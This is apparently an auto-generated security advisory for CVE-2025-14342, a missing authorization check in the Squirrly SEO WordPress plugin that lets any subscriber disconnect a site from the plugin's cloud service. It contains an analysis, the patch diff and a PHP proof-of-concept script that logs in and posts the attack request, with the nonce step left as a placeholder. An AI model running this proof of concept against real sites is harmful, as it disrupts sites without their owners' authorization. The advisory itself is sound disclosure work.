Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14342: SEO Plugin by Squirrly SEO <= 12.4.14 – Missing Authorization to Authenticated (Subscriber+) Cloud Service Disconnection (squirrly-seo)

Plugin squirrly-seo
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 12.4.14
Patched Version 12.4.15
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14342:
This vulnerability is a missing authorization flaw in the SEO Plugin by Squirrly SEO for WordPress. The vulnerability allows authenticated attackers with Subscriber-level permissions or higher to disconnect the site from Squirrly’s cloud service. The issue affects all plugin versions up to and including 12.4.14, with a CVSS score of 4.3 (Medium severity).

The root cause is the missing capability check on the sq_ajax_uninstall AJAX handler. The vulnerable code in squirrly-seo/controllers/SeoSettings.php (lines 613-637) processes the sq_ajax_uninstall action without verifying the user has administrative privileges. The function saves feedback data, then conditionally clears the cloud connection tokens (sq_api, sq_cloud_token, sq_cloud_connect) when the sq_disconnect parameter is true. The sq_ajax_uninstall action was registered in squirrly-seo/classes/ActionController.php (line 220) as an AJAX endpoint accessible to all authenticated users.

Exploitation requires an authenticated WordPress user with any role (including Subscriber). Attackers send a POST request to /wp-admin/admin-ajax.php with action=sq_ajax_uninstall and sq_disconnect=1. The request must include a valid WordPress nonce (sq_nonce) for the sq_ajax_uninstall action. Attackers can optionally include reason_key, reason_found_a_better_plugin, and reason_other parameters for feedback submission. The payload triggers the cloud service disconnection by clearing the authentication tokens stored in WordPress options.

The patch removes the sq_ajax_uninstall action from the publicly accessible AJAX handlers list in ActionController.php. The developers deleted the entire Uninstall controller class and its associated view file. They also removed the sq_ajax_uninstall case from the SeoSettings controller’s switch statement. Before the patch, any authenticated user could trigger cloud disconnection. After the patch, the endpoint no longer exists, preventing unauthorized access. The plugin version was updated from 12.4.14 to 12.4.15.

Successful exploitation disconnects the WordPress site from Squirrly’s cloud service, disrupting SEO functionality that depends on cloud connectivity. This could disable automated SEO optimizations, break integration features, and require manual reconnection by an administrator. While not a direct privilege escalation or data breach, this unauthorized modification affects site operations and SEO performance.

Differential between vulnerable and patched code

Code Diff
--- a/squirrly-seo/classes/ActionController.php
+++ b/squirrly-seo/classes/ActionController.php
@@ -217,7 +217,6 @@
 						'sq_ajax_gsc_code',
 						'sq_ajax_ga_code',
 						'sq_ajax_connection_check',
-						'sq_ajax_uninstall',
 					),
 				),
 				'active'  => '1',
--- a/squirrly-seo/classes/helpers/Cache.php
+++ b/squirrly-seo/classes/helpers/Cache.php
@@ -264,8 +264,6 @@
 			$this->clearTransients();
 			$this->cachedFiles( false );

-			SQ_Classes_Helpers_Tools::emptyCache();
-
 			return;
 		}

@@ -283,7 +281,10 @@

 		$this->clearTransients( $type );
 		$this->cachedFiles( $data );
-		SQ_Classes_Helpers_Tools::emptyCache();
+
+		if ( apply_filters( 'sq_clear_third_party_cache', true, $type )){
+			SQ_Classes_Helpers_Tools::emptyCache();
+		}

 		do_action( 'sq_invalidate_cache_after', $type );
 	}
--- a/squirrly-seo/classes/helpers/Tools.php
+++ b/squirrly-seo/classes/helpers/Tools.php
@@ -1343,6 +1343,7 @@
      */
     public static function emptyCache()
     {
+
         try {

             //////////////////////////////////////////////////////////////////////////////
--- a/squirrly-seo/controllers/Menu.php
+++ b/squirrly-seo/controllers/Menu.php
@@ -59,12 +59,6 @@
 			}

 		}
-
-		add_action( 'current_screen', function () {
-			if ( in_array( get_current_screen()->id, array( 'plugins', 'plugins-network' ) ) ) {
-				SQ_Classes_ObjController::getClass( 'SQ_Controllers_Uninstall' );
-			}
-		} );
 	}

 	/**
--- a/squirrly-seo/controllers/SeoSettings.php
+++ b/squirrly-seo/controllers/SeoSettings.php
@@ -613,24 +613,7 @@

 				echo wp_json_encode( array() );
 				exit();
-			case 'sq_ajax_uninstall':
-				$reason['select'] = SQ_Classes_Helpers_Tools::getValue( 'reason_key', false );
-				$reason['plugin'] = SQ_Classes_Helpers_Tools::getValue( 'reason_found_a_better_plugin', false );
-				$reason['other']  = SQ_Classes_Helpers_Tools::getValue( 'reason_other', false );

-				$args['action'] = 'deactivate';
-				$args['value']  = json_encode( $reason );
-				SQ_Classes_RemoteController::saveFeedback( $args );
-
-				if ( SQ_Classes_Helpers_Tools::getValue( 'sq_disconnect', false ) ) {
-					SQ_Classes_Helpers_Tools::saveOptions( 'sq_api', false );
-					SQ_Classes_Helpers_Tools::saveOptions( 'sq_cloud_token', false );
-					SQ_Classes_Helpers_Tools::saveOptions( 'sq_cloud_connect', false );
-				}
-
-				SQ_Classes_Helpers_Tools::setHeader( 'json' );
-				echo wp_json_encode( array() );
-				exit();

 		}

--- a/squirrly-seo/controllers/Uninstall.php
+++ b/squirrly-seo/controllers/Uninstall.php
@@ -1,16 +0,0 @@
-<?php
-defined( 'ABSPATH' ) || die( 'Cheatin' uh?' );
-
-/**
- * Uninstall Options
- */
-class SQ_Controllers_Uninstall extends SQ_Classes_FrontController {
-
-	public function hookHead() {
-		SQ_Classes_ObjController::getClass( 'SQ_Classes_DisplayController' )->loadMedia( 'uninstall' );
-	}
-
-	public function hookFooter() {
-		$this->show_view( 'Blocks/Uninstall' );
-	}
-}
--- a/squirrly-seo/models/Frontend.php
+++ b/squirrly-seo/models/Frontend.php
@@ -780,35 +780,46 @@
 	}

 	/**
-	 * Get the keyword fof this URL
+	 * Get the keyword for this URL
 	 *
 	 * @param $post
 	 *
 	 * @return array|false|WP_Error|WP_Term
 	 */
-	private function getTagDetails( $post ) {
-		$temp = str_replace( '…', '...', single_tag_title( '', false ) );
+	private function getTagDetails( $post = null ) {

-		foreach ( get_taxonomies() as $tax ) {
-			if ( $tax <> 'category' ) {
+		if ( ! is_tag() ) {
+			return false;
+		}

-				if ( $tag = get_term_by( 'name', $temp, $tax ) ) {
-					if ( ! is_wp_error( $tag ) ) {
-						return $tag;
-					}
-				}
+		// Best: WP already gives you the tag term
+		$term = get_queried_object();
+		if ( $term instanceof WP_Term && $term->taxonomy === 'post_tag' && ! is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		// Fallback: tag ID from query var
+		$tag_id = (int) get_queried_object_id();
+		if ( $tag_id ) {
+			$term = get_term( $tag_id, 'post_tag' );
+			if ( $term && ! is_wp_error( $term ) ) {
+				return $term;
 			}
 		}

-		if ( $tag = get_term_by( 'id', $post->term_id, $post->taxonomy ) ) {
-			if ( ! is_wp_error( $tag ) ) {
-				return $tag;
+		// Final fallback (only if you truly have it)
+		if ( $post && ! empty($post->term_id) ) {
+			$term = get_term( (int) $post->term_id, 'post_tag' );
+			if ( $term && ! is_wp_error( $term ) ) {
+				return $term;
 			}
 		}

 		return false;
 	}

+
+
 	/**
 	 * Get the taxonomies details for this URL
 	 *
@@ -816,16 +827,33 @@
 	 *
 	 * @return array|bool|false|mixed|null|object|string|WP_Error|WP_Term
 	 */
-	private function getTaxonomyDetails( $post ) {
-		if ( $id = get_queried_object_id() ) {
-			$term = get_term( $id, '' );
-			if ( ! is_wp_error( $term ) ) {
+	private function getTaxonomyDetails( $post = null ) {
+
+		if ( ! is_tax() ) {
+			return false;
+		}
+
+		// Best: WP already resolved the current term for this taxonomy archive
+		$term = get_queried_object();
+		if ( $term instanceof WP_Term && ! is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		// Fallback: use query vars (taxonomy + term id)
+		$term_id  = (int) get_queried_object_id();
+		$taxonomy = get_query_var( 'taxonomy' ); // e.g. 'product_cat', 'portfolio_tag', etc.
+
+		if ( $term_id && $taxonomy ) {
+			$term = get_term( $term_id, $taxonomy );
+			if ( $term && ! is_wp_error( $term ) ) {
 				return $term;
 			}
 		}

-		if ( $term = get_term_by( 'id', $post->term_id, $post->taxonomy ) ) {
-			if ( ! is_wp_error( $term ) ) {
+		// Final fallback: if you truly have it in $post
+		if ( $post && ! empty($post->term_id) && ! empty($post->taxonomy) ) {
+			$term = get_term_by( 'id', (int) $post->term_id, $post->taxonomy );
+			if ( $term && ! is_wp_error( $term ) ) {
 				return $term;
 			}
 		}
@@ -833,6 +861,8 @@
 		return false;
 	}

+
+
 	/**
 	 * Get the category details for this URL
 	 *
@@ -840,16 +870,31 @@
 	 *
 	 * @return array|false|object|WP_Error|null
 	 */
-	private function getCategoryDetails( $post ) {
+	private function getCategoryDetails( $post = null ) {
+
+		if ( ! is_category() ) {
+			return false;
+		}
+
+		// Best: already-resolved term object for the current category archive
+		$term = get_queried_object();
+		if ( $term instanceof WP_Term && $term->taxonomy === 'category' && ! is_wp_error( $term ) ) {
+			return $term;
+		}

-		if ( $term = get_category( get_query_var( 'cat' ), false ) ) {
-			if ( ! is_wp_error( $term ) ) {
+		// Fallback: category ID from query var
+		$cat_id = (int) get_query_var( 'cat' );
+		if ( $cat_id ) {
+			$term = get_term( $cat_id, 'category' ); // or get_category($cat_id)
+			if ( $term && ! is_wp_error( $term ) ) {
 				return $term;
 			}
 		}

-		if ( $tag = get_term_by( 'id', $post->term_id, $post->taxonomy ) ) {
-			if ( ! is_wp_error( $tag ) ) {
+		// Final fallback (only if you truly have it)
+		if ( $post && ! empty($post->term_id) ) {
+			$term = get_term( (int) $post->term_id, 'category' );
+			if ( $term && ! is_wp_error( $term ) ) {
 				return $term;
 			}
 		}
@@ -857,22 +902,41 @@
 		return false;
 	}

+
+
 	/**
 	 * Get the profile details for this URL
 	 *
-	 * @return object
+	 * @return false|object
 	 */
 	public function getAuthorDetails() {
-		$author = false;
-		global $authordata;
-		if ( isset( $authordata->data ) ) {
-			$author              = $authordata->data;
-			$author->description = get_the_author_meta( 'description' );
+		if ( ! is_author() ) {
+			return false;
 		}

-		return $author;
+		// On author archives this should be the WP_User object
+		$author = get_queried_object();
+		if ( $author instanceof WP_User ) {
+			// Keep your expected "description" field
+			$author->description = get_user_meta( $author->ID, 'description', true );
+			return $author;
+		}
+
+		// Fallback: author ID from query var
+		$author_id = (int) get_query_var('author');
+		if ( $author_id ) {
+			$user = get_userdata( $author_id );
+			if ( $user ) {
+				$user->description = get_user_meta( $user->ID, 'description', true );
+				return $user;
+			}
+		}
+
+		return false;
 	}

+
+
 	/**
 	 * Add the custom post type details to the current post
 	 *
@@ -1048,66 +1112,87 @@
 			return $buffer;
 		}

-		if ( $domain = parse_url( home_url(), PHP_URL_HOST ) ) {
-			foreach ( $out[0] as $index => $link ) {
-				$newlink = $link;
-
-				//only for external links
-				if ( isset( $out[1][ $index ] ) ) {
-					//If it's not a valid link
-					if ( ! $linkdomain = parse_url( $out[1][ $index ], PHP_URL_HOST ) ) {
-						continue;
-					}
+		$siteHost = parse_url( home_url(), PHP_URL_HOST );
+		if ( ! $siteHost ) {
+			return $buffer;
+		}

-					//If it's not an external link
-					if ( stripos( $linkdomain, $domain ) !== false ) {
-						continue;
-					}
+		// Normalize: lowercase + remove leading www.
+		$siteHostNorm = preg_replace('/^www./i', '', strtolower($siteHost));

-					//If it's not an exception link
-					$exceptions = SQ_Classes_Helpers_Tools::getOption( 'sq_external_exception' );
-					if ( ! empty( $exceptions ) ) {
-						foreach ( $exceptions as $exception ) {
-							if ( $exception <> '' ) {
-								if ( stripos( $exception, $linkdomain ) !== false || stripos( $linkdomain, $exception ) !== false ) {
-									continue 2;
-								}
-							}
-						}
-					}
-				}
+		foreach ( $out[0] as $index => $link ) {
+			$newlink = $link;

-				//If nofollow rel is set
-				if ( SQ_Classes_Helpers_Tools::getOption( 'sq_external_nofollow' ) ) {
+			if ( empty( $out[1][ $index ] ) ) {
+				continue;
+			}

-					if ( strpos( $newlink, 'rel=' ) === false ) {
-						$newlink = str_replace( '<a', '<a rel="nofollow" ', $newlink );
-					} elseif ( strpos( $newlink, 'nofollow' ) === false ) {
-						$newlink = preg_replace( '/(rel=['"])([^'"]+)(['"])/i', '$1nofollow $2$3', $newlink );
-					}
+			$href = $out[1][ $index ];

-				}
+			// Skip non-http(s), anchors, mailto, tel, relative URLs
+			$scheme = parse_url( $href, PHP_URL_SCHEME );
+			if ( $scheme && ! in_array( strtolower($scheme), array('http','https'), true ) ) {
+				continue;
+			}
+
+			$linkHost = parse_url( $href, PHP_URL_HOST );
+			if ( ! $linkHost ) {
+				// relative URL => internal
+				continue;
+			}
+
+			$linkHostNorm = preg_replace('/^www./i', '', strtolower($linkHost));

-				//if force external open
-				if ( SQ_Classes_Helpers_Tools::getOption( 'sq_external_blank' ) ) {
+			// sub.domain.com will be treated as external
+			if ( $linkHostNorm === $siteHostNorm ) {
+				continue;
+			}
+
+			// Exceptions (allowlist)
+			$exceptions = SQ_Classes_Helpers_Tools::getOption( 'sq_external_exception' );
+			if ( ! empty( $exceptions ) ) {
+				foreach ( $exceptions as $exception ) {
+					$exception = trim((string)$exception);
+					if ( $exception === '' ) {
+						continue;
+					}
+					$exceptionHost = parse_url( (strpos($exception, '://') === false ? 'https://' . $exception : $exception), PHP_URL_HOST );
+					$exceptionHostNorm = $exceptionHost ? preg_replace('/^www./i', '', strtolower($exceptionHost)) : preg_replace('/^www./i', '', strtolower($exception));

-					if ( strpos( $newlink, 'target=' ) === false ) {
-						$newlink = str_replace( '<a', '<a target="_blank" ', $newlink );
-					} elseif ( strpos( $link, '_blank' ) === false &&
-					           (strpos( $link, '_self' ) !== false || strpos( $link, '_parent' ) !== false || strpos( $link, '_top' ) !== false ) ) {
-						$newlink = preg_replace( '/(target=['"])([^'"]+)(['"])/i', '$1_blank$3', $newlink );
+					if ( $exceptionHostNorm !== '' && $linkHostNorm === $exceptionHostNorm ) {
+						continue 2; // do not modify this link
 					}
+				}
+			}

+			// nofollow
+			if ( SQ_Classes_Helpers_Tools::getOption( 'sq_external_nofollow' ) ) {
+				if ( strpos( $newlink, 'rel=' ) === false ) {
+					$newlink = str_replace( '<a', '<a rel="nofollow" ', $newlink );
+				} elseif ( stripos( $newlink, 'nofollow' ) === false ) {
+					$newlink = preg_replace( '/(rel=['"])([^'"]+)(['"])/i', '$1nofollow $2$3', $newlink );
 				}
+			}

-				//Check the link and replace it
-				if ( $newlink <> $link ) {
-					$buffer = str_replace( $link, $newlink, $buffer );
+			// target blank
+			if ( SQ_Classes_Helpers_Tools::getOption( 'sq_external_blank' ) ) {
+				if ( strpos( $newlink, 'target=' ) === false ) {
+					$newlink = str_replace( '<a', '<a target="_blank" ', $newlink );
+				} elseif (
+					stripos( $link, '_blank' ) === false &&
+					( stripos( $link, '_self' ) !== false || stripos( $link, '_parent' ) !== false || stripos( $link, '_top' ) !== false )
+				) {
+					$newlink = preg_replace( '/(target=['"])([^'"]+)(['"])/i', '$1_blank$3', $newlink );
 				}
 			}
+
+			if ( $newlink !== $link ) {
+				$buffer = str_replace( $link, $newlink, $buffer );
+			}
 		}

 		return $buffer;
 	}

+
 }
--- a/squirrly-seo/models/domain/Patterns.php
+++ b/squirrly-seo/models/domain/Patterns.php
@@ -21,8 +21,10 @@
 	}

 	public function getDate() {
-		if ( $this->_currentpost->post_date ) {
-			return wp_date( 'c', strtotime( $this->_currentpost->post_date ) );
+		$post = $this->currentpost;
+
+		if ( isset($post->post_date) && $post->post_date ) {
+			return wp_date( 'c', strtotime( $post->post_date ) );
 		} elseif ( $this->_date ) {
 			return wp_date( 'c', strtotime( $this->_date ) );
 		}
@@ -513,8 +515,10 @@
 	}

 	public function getModified() {
-		if ( $this->_currentpost->post_modified ) {
-			return wp_date( 'c', strtotime( $this->_currentpost->post_modified ) );
+		$post = $this->currentpost;
+
+		if ( isset( $post->post_modified ) && $post->post_modified ) {
+			return wp_date( 'c', strtotime( $post->post_modified ) );
 		} elseif ( $this->_modified ) {
 			return wp_date( 'c', strtotime( $this->_modified ) );
 		}
--- a/squirrly-seo/models/focuspages/Image.php
+++ b/squirrly-seo/models/focuspages/Image.php
@@ -162,11 +162,18 @@
 					$image = substr( $image, strrpos( $image, '/' ) + 1 );
 				}

+				$image = $this->normalizeFilename($image);
+
 				//Check if all words are present in the image URL
 				$allwords = true;
 				foreach ( $words as $word ) {
+					$word = trim($word);
+					if ($word === '') continue;
+
+					$wordNorm = $this->normalizeFilename($word);
+
 					//Find the string with normalization
-					if ( $word <> '' && SQ_Classes_Helpers_Tools::findStr( $image, $word, true ) === false ) {
+					if ( $word <> '' && SQ_Classes_Helpers_Tools::findStr( $image, $wordNorm, true ) === false ) {
 						$allwords = false;
 					}
 				}
@@ -181,4 +188,37 @@
 		return $task;
 	}

+	/**
+	 * @param $string
+	 *
+	 * @return array|string|string[]|null
+	 */
+	private function normalizeFilename($string) {
+		$string = html_entity_decode($string, ENT_QUOTES, 'UTF-8');
+		$string = strtolower($string);
+
+		// remove query and extension
+		$string = preg_replace('~?.*$~', '', $string);
+		$string = preg_replace('~.[a-z0-9]{2,5}$~i', '', $string);
+
+		// German folding (I would do digraphs first)
+		$string = str_replace(array('ae','oe','ue'), array('a','o','u'), $string);
+		$string = str_replace(array('ä','ö','ü'), array('a','o','u'), $string);
+		$string = str_replace('ß', 'ss', $string);
+
+		// Transliterate remaining accents
+		if (class_exists('Transliterator')) {
+			$tmp = transliterator_transliterate('Any-Latin; Latin-ASCII', $string);
+			if (is_string($tmp) && $tmp !== '') $string = $tmp;
+		} else {
+			$tmp = @iconv('UTF-8', 'ASCII//TRANSLIT', $string);
+			if (is_string($tmp) && $tmp !== '') $string = $tmp;
+		}
+
+		$string = preg_replace('~[^p{L}p{N}]+~u', ' ', $string);
+		$string = preg_replace('~s{2,}~u', ' ', trim($string));
+
+		return $string;
+	}
+
 }
--- a/squirrly-seo/squirrly.php
+++ b/squirrly-seo/squirrly.php
@@ -9,7 +9,7 @@
  * Description: AI Private SEO Consultant that Brings You the Full Force of SEO: All Schema Rich Results, Inner Links, Redirects, AI Research, Real-Time SEO Content, Traffic and SEO Audits, SERP Checker.
  * Author: Squirrly
  * Author URI: https://plugin.squirrly.co
- * Version: 12.4.14
+ * Version: 12.4.15
  * License: GPLv2 or later
  * License URI: http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  * Text Domain: squirrly-seo
@@ -18,9 +18,9 @@

 if ( ! defined( 'SQ_VERSION' ) ) {
 	/* SET THE CURRENT VERSION ABOVE AND BELOW */
-	define( 'SQ_VERSION', '12.4.14' );
+	define( 'SQ_VERSION', '12.4.15' );
 	//The last stable version
-	define( 'SQ_STABLE_VERSION', '12.4.12' );
+	define( 'SQ_STABLE_VERSION', '12.4.14' );
 	// Call config files
 	try {
 		include_once dirname( __FILE__ ) . '/config/config.php';
--- a/squirrly-seo/view/Blocks/Uninstall.php
+++ b/squirrly-seo/view/Blocks/Uninstall.php
@@ -1,86 +0,0 @@
-<?php
-defined( 'ABSPATH' ) || die( 'Cheatin' uh?' );
-if ( ! isset( $view ) ) {
-	return;
-}
-
-/**
- * Uninstall Block view
- *
- * Called on plugin uninstall as a popup for feedback
- */
-?>
-<?php
-$deactivate_reasons = array(
-	'no_longer_needed'               => array(
-		'title'             => esc_html__( "I no longer need the plugin", "squirrly-seo" ),
-		'input_placeholder' => '',
-	),
-	'found_a_better_plugin'          => array(
-		'title'             => esc_html__( "I found a better plugin", "squirrly-seo" ),
-		'input_placeholder' => esc_html__( "Please share which plugin", "squirrly-seo" ),
-	),
-	'couldnt_get_the_plugin_to_work' => array(
-		'title'             => esc_html__( "I couldn't get the plugin to work", "squirrly-seo" ),
-		'input_placeholder' => '',
-	),
-	'temporary_deactivation'         => array(
-		'title'             => esc_html__( "It's a temporary deactivation", "squirrly-seo" ),
-		'input_placeholder' => '',
-	),
-	'other'                          => array(
-		'title'             => esc_html__( "Other", "squirrly-seo" ),
-		'input_placeholder' => esc_html__( "Please share the reason", "squirrly-seo" ),
-	),
-);
-?>
-<div id="sq_uninstall" style="display: none;">
-    <div id="sq_modal_overlay"></div>
-    <div id="sq_modal">
-        <div id="sq_uninstall_header">
-            <span id="sq_uninstall_header_title"><?php echo esc_html__( "Deactivate", "squirrly-seo" ) . ' ' . esc_html( apply_filters( 'sq_name', _SQ_MENU_NAME_ ) ); ?></span>
-        </div>
-        <form id="sq_uninstall_form" method="post">
-			<?php SQ_Classes_Helpers_Tools::setNonce( 'sq_ajax_uninstall', 'sq_nonce' ); ?>
-            <input type="hidden" name="action" value="sq_ajax_uninstall"/>
-
-            <h4><?php echo esc_html__( "Please share why you are deactivating the plugin", "squirrly-seo" ); ?>:</h4>
-            <div id="sq_uninstall_form_body">
-				<?php foreach ( $deactivate_reasons as $reason_key => $reason ) { ?>
-                    <div class="sq_uninstall_feedback_input_line">
-                        <input id="sq_uninstall_feedback_<?php echo esc_attr( $reason_key ); ?>" class="sq_uninstall_feedback_input" type="radio" name="reason_key" value="<?php echo esc_attr( $reason_key ); ?>"/>
-                        <label for="sq_uninstall_feedback_<?php echo esc_attr( $reason_key ); ?>" class="sq_uninstall_feedback_input_label"><?php echo esc_html( $reason['title'] ); ?></label>
-						<?php if ( ! empty( $reason['input_placeholder'] ) ) { ?>
-                            <label for="sq_uninstall_feedback_text"></label>
-                            <input id="sq_uninstall_feedback_text" class="sq_uninstall_feedback_text" type="text" name="reason_<?php echo esc_attr( $reason_key ); ?>" placeholder="<?php echo esc_attr( $reason['input_placeholder'] ); ?>"/>
-						<?php } ?>
-						<?php if ( ! empty( $reason['alert'] ) ) { ?>
-                            <div class="sq_uninstall_feedback_text"><?php echo esc_html( $reason['alert'] ); ?></div>
-						<?php } ?>
-                    </div>
-				<?php } ?>
-
-
-                <div class="sq_uninstall_form_buttons_wrapper">
-                    <button type="button" class="sq_uninstall_form_submit sq_uninstall_form_button"><?php echo esc_html__( "Submit & Deactivate", "squirrly-seo" ); ?></button>
-                    <button type="button" class="sq_uninstall_form_skip sq_uninstall_form_button"><?php echo esc_html__( "Skip & Deactivate", "squirrly-seo" ); ?></button>
-                </div>
-
-				<?php if ( SQ_Classes_Helpers_Tools::getOption( 'sq_complete_uninstall' ) ) { ?>
-                    <div class="sq_uninstall_form_options_wrapper sq_uninstall_feedback_separator">
-                        <div class="sq_uninstall_feedback_input_line" style="color:red; font-size: 14px;">
-							<?php echo sprintf( esc_html__( "You set to remove all Squirrly SEO data on uninstall. You can change this option from %s Squirrly > Technical SEO > Advanced Settings %s", "squirrly-seo" ), '<a href="' . esc_url( SQ_Classes_Helpers_Tools::getAdminUrl( 'sq_seosettings', 'tweaks#tab=advanced' ) ) . '">', '</a>' ); ?>
-                        </div>
-                    </div>
-				<?php } else { ?>
-                    <div class="sq_uninstall_form_options_wrapper sq_uninstall_feedback_separator">
-                        <div class="sq_uninstall_feedback_input_line">
-                            <input id="sq_disconnect" class="sq_uninstall_feedback_input" type="checkbox" name="sq_disconnect" value="1"/>
-                            <label for="sq_disconnect" class="sq_uninstall_feedback_input_label" style="color: #D32F2F"><?php echo esc_html__( "Disconnect from Squirrly Cloud", "squirrly-seo" ); ?></label>
-                        </div>
-                    </div>
-				<?php } ?>
-            </div>
-        </form>
-    </div>
-</div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14342 - SEO Plugin by Squirrly SEO <= 12.4.14 - Missing Authorization to Authenticated (Subscriber+) Cloud Service Disconnection

<?php
/**
 * Proof of Concept for CVE-2025-14342
 * Requires: WordPress installation with Squirrly SEO plugin <= 12.4.14
 *           Valid subscriber-level credentials
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS

// Step 1: Authenticate to WordPress and obtain cookies/nonce
function authenticate_wordpress($base_url, $user, $pass) {
    $login_url = $base_url . '/wp-login.php';
    $admin_url = $base_url . '/wp-admin/';
    
    // Get login page to extract nonce
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    $login_page = curl_exec($ch);
    
    // Extract login nonce (log)
    preg_match('/name="log" value="([^"]+)"/', $login_page, $log_match);
    preg_match('/name="wp-submit" value="([^"]+)"/', $login_page, $submit_match);
    
    // Perform login
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => $submit_match[1] ?? 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_REFERER => $login_url
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code === 200 && strpos($response, 'Dashboard') !== false;
}

// Step 2: Extract the required nonce for sq_ajax_uninstall
function get_squirrly_nonce($base_url) {
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    // Load a page that might contain the nonce
    $ch = curl_init($base_url . '/wp-admin/');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    
    $admin_page = curl_exec($ch);
    curl_close($ch);
    
    // The nonce is typically generated via wp_create_nonce('sq_ajax_uninstall')
    // In practice, attackers would need to find this nonce in page source
    // For this PoC, we'll attempt to brute force or use a known pattern
    // Note: Real exploitation requires the nonce to be present in the UI
    
    return 'EXTRACTED_NONCE'; // Replace with actual extraction logic
}

// Step 3: Exploit the vulnerability
function exploit_disconnect($base_url, $nonce) {
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'sq_ajax_uninstall',
        'sq_nonce' => $nonce,
        'sq_disconnect' => '1',
        'reason_key' => 'found_a_better_plugin',
        'reason_found_a_better_plugin' => 'Atomic Edge Test',
        'reason_other' => ''
    ];
    
    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC',
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Exploit Response (HTTP $http_code): " . htmlspecialchars($response) . "n";
    return $http_code === 200 && trim($response) === '[]';
}

// Main execution
if (authenticate_wordpress($target_url, $username, $password)) {
    echo "Authentication successfuln";
    
    // In a real scenario, the nonce must be extracted from page HTML
    // This PoC assumes the attacker can obtain it through other means
    $nonce = get_squirrly_nonce($target_url);
    
    if ($nonce !== 'EXTRACTED_NONCE') {
        if (exploit_disconnect($target_url, $nonce)) {
            echo "SUCCESS: Site disconnected from Squirrly Cloudn";
        } else {
            echo "FAILED: Exploit unsuccessfuln";
        }
    } else {
        echo "Nonce extraction required for complete PoCn";
    }
} else {
    echo "Authentication failedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School